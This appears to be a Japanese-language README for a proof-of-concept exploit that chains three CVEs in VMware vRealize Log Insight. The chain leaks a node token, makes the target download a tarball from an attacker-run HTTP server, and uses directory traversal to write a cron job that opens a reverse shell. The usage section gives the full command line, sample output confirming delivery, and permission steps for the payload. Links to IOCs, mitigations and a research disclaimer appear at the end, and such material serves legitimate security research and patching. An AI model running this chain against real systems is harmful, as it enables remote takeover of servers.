VMSA-2023-0001

VMware vRealize Log Insight に影響する VMSA-2023-0001 の POC です。以下の CVE を含みます:

VMware vRealize Log Insight ディレクトリトラバーサルの脆弱性 (CVE-2022-31706)
VMware vRealize Log Insight アクセス制御の不備の脆弱性 (CVE-2022-31704)
VMware vRealize Log Insight 情報漏えいの脆弱性 (CVE-2022-31711)

この脆弱性のデフォルト設定では、リバースシェルを作成する cron ジョブが書き込まれます。ご自身の環境に合わせて payload ファイルを必ず変更してください。

技術分析

この脆弱性の技術的な根本原因分析は、当社のブログでご覧いただけます: https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive

侵害指標 (IOC)

Log Insight インスタンスの侵害指標を分析するには、当社の IOC ブログを参照してください: https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/

概要

この POC は、さまざまな Thrift RPC エンドポイントを悪用して、任意のファイル書き込みを実現します。

使用方法

$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit 
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered

トラブルシューティング

cron ベースのペイロードを使用する場合は、ペイロードファイルが適切な権限と所有者を持っていることを確認してください:

sudo chown root:root payload

sudo chmod 0644 payload

緩和策

最新バージョンに更新するか、VMSA 内の手順に従って緩和してください https://www.vmware.com/security/advisories/VMSA-2023-0001.html

免責事項

このソフトウェアは、学術研究と効果的な防御技術の開発を目的として作成されたものであり、明示的に許可された場合を除き、システムへの攻撃に使用することを意図したものではありません。プロジェクトのメンテナは、ソフトウェアの誤用について責任を負いません。責任を持って使用してください。

vRealizeLogInsightRCE

人気